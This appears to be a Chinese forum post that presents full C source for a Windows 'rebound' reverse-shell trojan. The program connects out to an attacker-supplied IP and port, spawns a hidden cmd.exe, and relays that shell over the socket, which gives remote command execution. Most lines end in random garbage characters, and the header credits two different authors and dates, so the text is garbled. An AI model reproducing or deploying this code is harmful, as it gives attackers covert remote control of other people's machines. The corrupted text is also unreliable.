这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [0[i5'K:
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/* ============================== b8VTo lJ
Rebound port in Windows NT "a>q`RaIQ"
By wind,2006/7 5 +YH.4R
===============================*/ ]^n7
#include N1S{suic
#include vq0Tk
bzs
gA+qC7=p$
#pragma comment(lib,"wsock32.lib") &yTqZ*Yuk
UA0Bzoky;
void OutputShell(); 9y8&9<#
SOCKET sClient; ]z;I_-
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Yty/3T3)e
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void main(int argc,char **argv) )VS=E7[
{ /P3 <"?#k
WSADATA stWsaData; R)(T^V`{
int nRet; ufZDF=$7
SOCKADDR_IN stSaiClient,stSaiServer; =/+-<px
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if(argc != 3) b:m88AG
{ gNrjo=
printf("Useage:\n\rRebound DestIP DestPort\n"); UiP"Ixg6
return; o.g V4%
} f#"J]p
{
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WSAStartup(MAKEWORD(2,2),&stWsaData); bMu+TgAT,
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @#>rYAb8,
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stSaiClient.sin_family = AF_INET; #ut
stSaiClient.sin_port = htons(0); ]e^&aR5f"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Jk11fn;\>
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) G1tY) _-8[
{ rjAn@!|:+
printf("Bind Socket Failed!\n"); T#Z^s~7&I
return; o5O#vW2Il&
} (k)v!O-
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stSaiServer.sin_family = AF_INET; z`}qkbvi
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;_I8^? d
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S-b/S5
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M,,bf[p$
{ SrJGTuXg
printf("Connect Error!"); beGa#JH,
return; Rz/gtEP
} P [ck84F/
OutputShell(); (vnAbR#e
} {.|CdqwY
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void OutputShell() '<xXK@=KEI
{ "ycJ:Xv49
char szBuff[1024]; P%VSAh\|n
SECURITY_ATTRIBUTES stSecurityAttributes; 6=/F$|
OSVERSIONINFO stOsversionInfo; V>LwqS~`
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .},'~NM]
STARTUPINFO stStartupInfo; .bg~>T+<
char *szShell; \fdv]f
PROCESS_INFORMATION stProcessInformation; `r':by0M
unsigned long lBytesRead; D|p9qe5%
9};8?mucr
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); yu|8_<bq
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +Q)XH>jh
stSecurityAttributes.lpSecurityDescriptor = 0; !zpRrx_
stSecurityAttributes.bInheritHandle = TRUE; ]Sz:|%JP1
MYvY]Jx3
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1#2 I
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); B{#I:Rs9
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E_wCN&`[
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [ /b2=>
stStartupInfo.wShowWindow = SW_HIDE; g2ixx+`?|:
stStartupInfo.hStdInput = hReadPipe; lU\[aNs
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hH3RP{'=
h"Q8b}$^)
GetVersionEx(&stOsversionInfo); L}b.ulkMD
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switch(stOsversionInfo.dwPlatformId) ! E5HN :#
{ Vwf$JdK%&l
case 1: 3M7/?TMw{6
szShell = "command.com"; QO~P7r|A
break; uyWunpT
default: 2- h{N
szShell = "cmd.exe"; *#|&JIEsi
break; 783,s_
} p38-l'{#
JR21>;l#2
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); HM1Fz\Sf
q`7PhA
send(sClient,szMsg,77,0); :\c ^*K(9
while(1) ie95rZp
{ ,^< R{{{-A
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &h)yro
if(lBytesRead) ED( Sg
{ ..5CC;B
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); + GN(Ug'R
send(sClient,szBuff,lBytesRead,0); `HSKQ52
} _ <V)-Y
else ^
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{ AeM^73t
lBytesRead=recv(sClient,szBuff,1024,0); BwpqNQN
if(lBytesRead<=0) break; 7S:\"A7
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); lb3bm)@:
} &PHTpkaam
} Bm<`n;m
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return; k]|~>9eY]
}